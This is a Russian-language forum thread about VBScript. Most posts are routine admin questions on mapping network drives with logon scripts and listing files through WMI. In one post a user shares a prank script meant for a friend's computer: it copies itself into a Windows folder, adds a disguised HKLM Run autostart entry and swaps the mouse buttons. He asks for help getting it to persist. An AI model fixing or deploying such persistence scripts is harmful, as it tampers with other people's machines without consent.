VBScript

  • Автор темы MadVBS
  • Дата начала
Статус
Закрыто для дальнейших ответов.
M

MadVBS

#1
Поможите, чем можите:
хочу с сервера запускать скрипт, который при входе юзера в сеть будет подключать на машине этого юзера сетевой диск
:)
 
G

Guest

#2
А документацию почитать слабо?

Создай *.bat (минус - появление консольного окна при входе юзера в систему)
net use z: \\server\share

или *.vbs
dim wshNetwork
Set WshNetwork = WScript.CreateObject("WScript.Network")
wshNetwork.MapNetworkDrive "z:", "\\server\share$", false
set wshNetwork = nothing

кинь файл в \\server\sysvol\_domain_name_\scripts (может быть \\server\netlogon точно не помню, загляни в хелп). Далее, в свойствах пользователя на вкладке "Профиль" укажи полный путь к этому файлу (через сеть) в "Сценарий входа".
 
M

mutabor

#4
Помогите пожалуйста. Вот решил пошутить над другом и нашел такой скрипт. Проблема в том, что он срабатывает только один раз, а при последующей загрузке машины он не срабатывает. Хотя в реестр прописывается. Вот код:

Код:
Set FSA=CreateObject("Scripting.FileSystemObject")
FSA.CreateFolder("C:\Windows\ff")
Set file1=FSA.GetFile(WScript.ScriptFullName)
file1.Copy("C:\Windows\ff\mouse.vbs")
Код:
Set WSHShell=WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Micrpatch1.0","C:\Windows\mouse.vbs", "REG_SZ" 
sub zp(y,x)
set wshshell=wscript.createobject("wscript.shell")
x=wshshell.run(y,x)
end sub
call zp("rundll32 user,swapmousebutton",true)
Спасибо.
 
M

MadVBS

#5
<!--QuoteBegin-Guest+31:10:2004, 15:16 -->
<span class="vbquote">(Guest @ 31:10:2004, 15:16 )</span><!--QuoteEBegin-->А документацию почитать слабо?

Создай *.bat (минус - появление консольного окна при входе юзера в систему)
net use z: \\server\share

или *.vbs
dim wshNetwork
Set WshNetwork = WScript.CreateObject("WScript.Network")
wshNetwork.MapNetworkDrive "z:", "\\server\share$", false
set wshNetwork = nothing

кинь файл в \\server\sysvol\_domain_name_\scripts (может быть \\server\netlogon точно не помню, загляни в хелп). Далее, в свойствах пользователя на вкладке "Профиль" укажи полный путь к этому файлу (через сеть) в "Сценарий входа".[/quote]
А можно еще один вопросик? <_<
Хочу забросить в массив список файлов из определенной папки на сетевом диске удаленной машины. В документации написано:

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colFiles = objWMIService.ExecQuery("Select * from CIM_DataFile where Path = '\\Scripts\\'")

For Each objFile in colFiles
Wscript.Echo objFile.Name
Next

Но как только указываю путь до папки, включая слэши, ругается система. Как же здесь указывать путь? Подскажите плз хитрость :)
 
Статус
Закрыто для дальнейших ответов.